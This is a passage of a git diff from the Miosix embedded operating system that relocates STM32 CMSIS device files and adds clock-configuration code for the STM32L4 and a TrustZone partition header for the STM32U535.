that HSE_VALUE is same as the real + * frequency of the crystal used. Otherwise, this function may + * have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * @param None + * @retval None + */ +void SystemCoreClockUpdate (void) +{ + uint32_t tmp = 0U, pllmul = 0U, plldiv = 0U, pllsource = 0U, msirange = 0U; + + /* Get SYSCLK source -------------------------------------------------------*/ + tmp = RCC->CFGR & RCC_CFGR_SWS; + + switch (tmp) + { + case 0x00U: /* MSI used as system clock */ + msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE) >> RCC_ICSCR_MSIRANGE_Pos; + SystemCoreClock = (32768U * (1U << (msirange + 1U))); + break; + case 0x04U: /* HSI used as system clock */ + if ((RCC->CR & RCC_CR_HSIDIVF) != 0U) + { + SystemCoreClock = HSI_VALUE / 4U; + } + else + { + SystemCoreClock = HSI_VALUE; + } + break; + case 0x08U: /* HSE used as system clock */ + SystemCoreClock = miosix::hseFrequency; + break; + default: /* PLL used as system clock */ + /* Get PLL clock source and multiplication factor ----------------------*/ + pllmul = RCC->CFGR & RCC_CFGR_PLLMUL; + plldiv = RCC->CFGR & RCC_CFGR_PLLDIV; + pllmul = PLLMulTable[(pllmul >> RCC_CFGR_PLLMUL_Pos)]; + plldiv = (plldiv >> RCC_CFGR_PLLDIV_Pos) + 1U; + + pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; + + if (pllsource == 0x00U) + { + /* HSI oscillator clock selected as PLL clock entry */ + if ((RCC->CR & RCC_CR_HSIDIVF) != 0U) + { + SystemCoreClock = (((HSI_VALUE / 4U) * pllmul) / plldiv); + } + else + { + SystemCoreClock = (((HSI_VALUE) * pllmul) / plldiv); + } + } + else + { + /* HSE selected as PLL clock entry */ + SystemCoreClock = (((miosix::hseFrequency) * pllmul) / plldiv); + } + break; + } + /* Compute HCLK clock frequency --------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> RCC_CFGR_HPRE_Pos)]; + /* HCLK clock frequency */ + SystemCoreClock >>= tmp; +} + + + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32L0xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/miosix_patches.patch diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xb.h b/miosix/arch/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xb.h rename to miosix/arch/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xb.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xba.h b/miosix/arch/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xba.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xba.h rename to miosix/arch/CMSIS/Device/ST/STM32L1xx/Include/stm32l100xba.h diff --git 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miosix/arch/common/CMSIS/Device/ST/STM32L4xx/Include/system_stm32l4xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L4xx/Include/system_stm32l4xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L4xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32L4xx/LICENSE.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L4xx/LICENSE.md rename to miosix/arch/CMSIS/Device/ST/STM32L4xx/LICENSE.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L4xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32L4xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L4xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32L4xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.cpp new file mode 100644 index 000000000..c9ae32b84 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.cpp @@ -0,0 +1,519 @@ +// +// NOTE: this file contains some modifications by Silvano Seva (silseva) to make +// available system clock frequencies greater than 4MHz +// + +/** + ****************************************************************************** + * @file system_stm32l4xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M4 Device Peripheral Access Layer System Source File + * + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32l4xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * After each device reset the MSI (4 MHz) is used as system clock source. + * Then SystemInit() function is called, in "startup_stm32l4xx.s" file, to + * configure the system clock before to branch to main program. + * + * This file configures the system clock as follows: + *============================================================================= + *----------------------------------------------------------------------------- + * System Clock source | MSI + *----------------------------------------------------------------------------- + * SYSCLK(Hz) | 4000000 + *----------------------------------------------------------------------------- + * HCLK(Hz) | 4000000 + *----------------------------------------------------------------------------- + * AHB Prescaler | 1 + *----------------------------------------------------------------------------- + * APB1 Prescaler | 1 + *----------------------------------------------------------------------------- + * APB2 Prescaler | 1 + *----------------------------------------------------------------------------- + * PLL_M | 1 + *----------------------------------------------------------------------------- + * PLL_N | 8 + *----------------------------------------------------------------------------- + * PLL_P | 7 + *----------------------------------------------------------------------------- + * PLL_Q | 2 + *----------------------------------------------------------------------------- + * PLL_R | 2 + *----------------------------------------------------------------------------- + * PLLSAI1_P | NA + *----------------------------------------------------------------------------- + * PLLSAI1_Q | NA + *----------------------------------------------------------------------------- + * PLLSAI1_R | NA + *----------------------------------------------------------------------------- + * PLLSAI2_P | NA + *----------------------------------------------------------------------------- + * PLLSAI2_Q | NA + *----------------------------------------------------------------------------- + * PLLSAI2_R | NA + *----------------------------------------------------------------------------- + * Require 48MHz for USB OTG FS, | Disabled + * SDIO and RNG clock | + *----------------------------------------------------------------------------- + *============================================================================= + ****************************************************************************** + * @attention + * + *

© Copyright (c) 2017 STMicroelectronics. + * All rights reserved.

+ * + * This software component is licensed by ST under Apache License, Version 2.0, + * the "License"; You may not use this file except in compliance with the + * License. You may obtain a copy of the License at: + * opensource.org/licenses/Apache-2.0 + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32l4xx_system + * @{ + */ + +/** @addtogroup STM32L4xx_System_Private_Includes + * @{ + */ + +#include +#include "board_settings.h" +//By Silvano Seva: was #include "stm32l4xx.h" +#include "interfaces/arch_registers.h" + +using namespace miosix; + +//We use HSE_VALUE to decide whether to run with HSE or not, so don't force it +// #if !defined (HSE_VALUE) +// #define HSE_VALUE 8000000U /*!< Value of the External oscillator in Hz */ +// #endif /* HSE_VALUE */ + +#if !defined (MSI_VALUE) + #define MSI_VALUE 4000000U /*!< Value of the Internal oscillator in Hz*/ +#endif /* MSI_VALUE */ + +#if !defined (HSI_VALUE) + #define HSI_VALUE 16000000U /*!< Value of the Internal oscillator in Hz*/ +#endif /* HSI_VALUE */ + +// Added by silseva +#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) + +/** + * @} + */ + +/** @addtogroup STM32L4xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32L4xx_System_Private_Defines + * @{ + */ + +/************************* Miscellaneous Configuration ************************/ +/*!< Uncomment the following line if you need to relocate your vector Table in + Internal SRAM. */ +/* #define VECT_TAB_SRAM */ +#define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +/******************************************************************************/ +/** + * @} + */ + +/** @addtogroup STM32L4xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32L4xx_System_Private_Variables + * @{ + */ + /* The SystemCoreClock variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ + +uint32_t SystemCoreClock = cpuFrequency; + +const uint8_t AHBPrescTable[16] = {0U, 0U, 0U, 0U, 0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U, 6U, 7U, 8U, 9U}; +const uint8_t APBPrescTable[8] = {0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U}; +const uint32_t MSIRangeTable[12] = {100000U, 200000U, 400000U, 800000U, 1000000U, 2000000U, \ + 4000000U, 8000000U, 16000000U, 24000000U, 32000000U, 48000000U}; +/** + * @} + */ + +/** @addtogroup STM32L4xx_System_Private_FunctionPrototypes + * @{ + */ + +// Added by silseva +static void SetSysClock(void); + +/** + * @} + */ + +/** @addtogroup STM32L4xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system. + * @param None + * @retval None + */ + +void SystemInit(void) +{ + /* FPU settings ------------------------------------------------------------*/ + #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) + SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ + #endif + + /* Reset the RCC clock configuration to the default reset state ------------*/ + /* Set MSION bit */ + RCC->CR |= RCC_CR_MSION; + + /* Reset CFGR register */ + RCC->CFGR = 0x00000000U; + + /* Reset HSEON, CSSON , HSION, and PLLON bits */ + RCC->CR &= 0xEAF6FFFFU; + + /* Reset PLLCFGR register */ + RCC->PLLCFGR = 0x00001000U; + + /* Reset HSEBYP bit */ + RCC->CR &= 0xFFFBFFFFU; + + /* Disable all interrupts */ + RCC->CIER = 0x00000000U; + + /* By silseva: + * Configure the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers + * Configure the Flash Latency cycles and enable prefetch buffer */ + SetSysClock(); + + /* Configure the Vector Table location add offset address ------------------*/ +#ifdef VECT_TAB_SRAM + SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ +#else + SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ +#endif +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is MSI, SystemCoreClock will contain the MSI_VALUE(*) + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(**) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(***) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(***) + * or HSI_VALUE(*) or MSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) MSI_VALUE is a constant defined in stm32l4xx_hal.h file (default value + * 4 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSI_VALUE is a constant defined in stm32l4xx_hal.h file (default value + * 16 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (***) HSE_VALUE is a constant defined in stm32l4xx_hal.h file (default value + * 8 MHz), user has to ensure that HSE_VALUE is same as the real + * frequency of the crystal used. Otherwise, this function may + * have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate(void) +{ + uint32_t tmp = 0U, msirange = 0U, pllvco = 0U, pllr = 2U, pllsource = 0U, pllm = 2U; + + /* Get MSI Range frequency--------------------------------------------------*/ + if((RCC->CR & RCC_CR_MSIRGSEL) == RESET) + { /* MSISRANGE from RCC_CSR applies */ + msirange = (RCC->CSR & RCC_CSR_MSISRANGE) >> 8U; + } + else + { /* MSIRANGE from RCC_CR applies */ + msirange = (RCC->CR & RCC_CR_MSIRANGE) >> 4U; + } + /*MSI frequency range in HZ*/ + msirange = MSIRangeTable[msirange]; + + /* Get SYSCLK source -------------------------------------------------------*/ + switch (RCC->CFGR & RCC_CFGR_SWS) + { + case 0x00: /* MSI used as system clock source */ + SystemCoreClock = msirange; + break; + + case 0x04: /* HSI used as system clock source */ + SystemCoreClock = HSI_VALUE; + break; + + case 0x08: /* HSE used as system clock source */ + SystemCoreClock = hseFrequency; + break; + + case 0x0C: /* PLL used as system clock source */ + /* PLL_VCO = (HSE_VALUE or HSI_VALUE or MSI_VALUE/ PLLM) * PLLN + SYSCLK = PLL_VCO / PLLR + */ + pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC); + pllm = ((RCC->PLLCFGR & RCC_PLLCFGR_PLLM) >> 4U) + 1U ; + + switch (pllsource) + { + case 0x02: /* HSI used as PLL clock source */ + pllvco = (HSI_VALUE / pllm); + break; + + case 0x03: /* HSE used as PLL clock source */ + pllvco = (hseFrequency / pllm); + break; + + default: /* MSI used as PLL clock source */ + pllvco = (msirange / pllm); + break; + } + pllvco = pllvco * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 8U); + pllr = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLR) >> 25U) + 1U) * 2U; + SystemCoreClock = pllvco/pllr; + break; + + default: + SystemCoreClock = msirange; + break; + } + /* Compute HCLK clock frequency --------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4U)]; + /* HCLK clock frequency */ + SystemCoreClock >>= tmp; +} + +// Added by silseva + +/** + * @brief Activates HSE oscillator and waits until is ready + * @param None + * @retval 1 if HSE starts, 0 on failure + */ +static uint32_t EnableHSE() +{ + uint32_t StartUpCounter = 0, HSEStatus = 0; + + /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ + /* Enable HSE */ + RCC->CR |= ((uint32_t)RCC_CR_HSEON); + + /* Wait till HSE is ready and if Time out is reached exit */ + do + { + HSEStatus = RCC->CR & RCC_CR_HSERDY; + StartUpCounter++; + } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); + + if ((RCC->CR & RCC_CR_HSERDY) != 0x0) + { + HSEStatus = (uint32_t)0x01; + } + else + { + HSEStatus = (uint32_t)0x00; + } + + return HSEStatus; +} + +/** + * @brief Activates HSI oscillator and waits until is ready + * @param None + * @retval 1 if HSI starts, 0 on failure + */ +static uint32_t EnableHSI() +{ + uint32_t StartUpCounter = 0, HSIStatus = 0; + + /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ + /* Enable HSE */ + RCC->CR |= ((uint32_t)RCC_CR_HSION); + + /* Wait till HSE is ready and if Time out is reached exit */ + do + { + HSIStatus = RCC->CR & RCC_CR_HSIRDY; + StartUpCounter++; + } while((HSIStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); + + if ((RCC->CR & RCC_CR_HSIRDY) != 0x0) + { + HSIStatus = (uint32_t)0x01; + } + else + { + HSIStatus = (uint32_t)0x00; + } + + return HSIStatus; +} + +struct RCCPLLConfig +{ + unsigned int sysclk, n, q, r; +}; + +static constexpr RCCPLLConfig pllConfigs[] = { + {24000000, 24, 2, 4}, {36000000, 72, 6, 8}, + {48000000, 24, 2, 2}, {72000000, 72, 6, 4}, + {80000000, 40, 4, 2}, + {0}, +}; + +template +constexpr RCCPLLConfig findPllConfig() +{ + static_assert(pllConfigs[N].sysclk!=0, "Unsupported sysclk"); + if constexpr(pllConfigs[N].sysclk==cpuFrequency) return pllConfigs[N]; + else return findPllConfig(); +} + +/** + * @brief Configures the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers. + * @param None + * @retval None + */ +static void SetSysClock(void) +{ + uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 + (void)StartUpCounter; + + if(oscillatorType==OscillatorType::HSE) HSEStatus = EnableHSE(); + else if(oscillatorType==OscillatorType::HSI) HSEStatus = EnableHSI(); + else HSEStatus=1; // MSI is default + if(!HSEStatus) return; // Failed! Leave config as is + + /* Enable Prefetch Buffer */ + FLASH->ACR |= FLASH_ACR_PRFTEN; + + /* Flash wait states */ + FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); + if constexpr(cpuFrequency<=16000000) FLASH->ACR|=FLASH_ACR_LATENCY_0WS; + else if constexpr(cpuFrequency<=32000000) FLASH->ACR|=FLASH_ACR_LATENCY_1WS; + else if constexpr(cpuFrequency<=48000000) FLASH->ACR|=FLASH_ACR_LATENCY_2WS; + else if constexpr(cpuFrequency<=64000000) FLASH->ACR|=FLASH_ACR_LATENCY_3WS; + else FLASH->ACR|=FLASH_ACR_LATENCY_4WS; + + /* HCLK = SYSCLK */ + RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; + + /* PCLK2 = HCLK */ + RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; + + /* PCLK1 = HCLK */ + RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; + + constexpr unsigned int oscFreq= + oscillatorType==OscillatorType::HSE ? hseFrequency : + oscillatorType==OscillatorType::HSI ? HSI_VALUE : + MSI_VALUE; + constexpr unsigned int pllSrc= + oscillatorType==OscillatorType::HSE ? RCC_PLLCFGR_PLLSRC_HSE : + oscillatorType==OscillatorType::HSI ? RCC_PLLCFGR_PLLSRC_HSI : + RCC_PLLCFGR_PLLSRC_MSI; + constexpr unsigned int m=oscFreq/4000000; + static_assert(oscFreq%4000000==0,"Unsupported HSE frequency"); + RCCPLLConfig cfg=findPllConfig<0>(); + + RCC->PLLCFGR = 0; + RCC->PLLCFGR |= (uint32_t)(cfg.n << RCC_PLLCFGR_PLLN_Pos); + RCC->PLLCFGR |= (uint32_t)((cfg.r/2-1) << RCC_PLLCFGR_PLLR_Pos); + RCC->PLLCFGR |= (uint32_t)((cfg.q/2-1) << RCC_PLLCFGR_PLLQ_Pos); + RCC->PLLCFGR |= RCC_PLLCFGR_PLLQEN | RCC_PLLCFGR_PLLREN; + RCC->PLLCFGR |= (m-1)<PLLCFGR |= (uint32_t)(pllSrc); + + /* Enable PLL */ + RCC->CR |= RCC_CR_PLLON; + + /* Wait till PLL is ready */ + while((RCC->CR & RCC_CR_PLLRDY) == 0) + { + } + + /* Select PLL as system clock source */ + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; + + /* Wait till PLL is used as system clock source */ + while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x0C) + { + } +} + +// end addition + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L4xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32L4xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L4xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32L4xx/miosix_patches.patch diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u535xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u535xx.h new file mode 100644 index 000000000..0c476c7c7 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u535xx.h @@ -0,0 +1,647 @@ +/** + ****************************************************************************** + * @file partition_stm32u535xx.h + * @author MCD Application Team + * @brief CMSIS STM32U535xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U535XX_H +#define PARTITION_STM32U535XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C03E000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C03FFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08040000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x0807FFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20030000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2003FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x90000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// 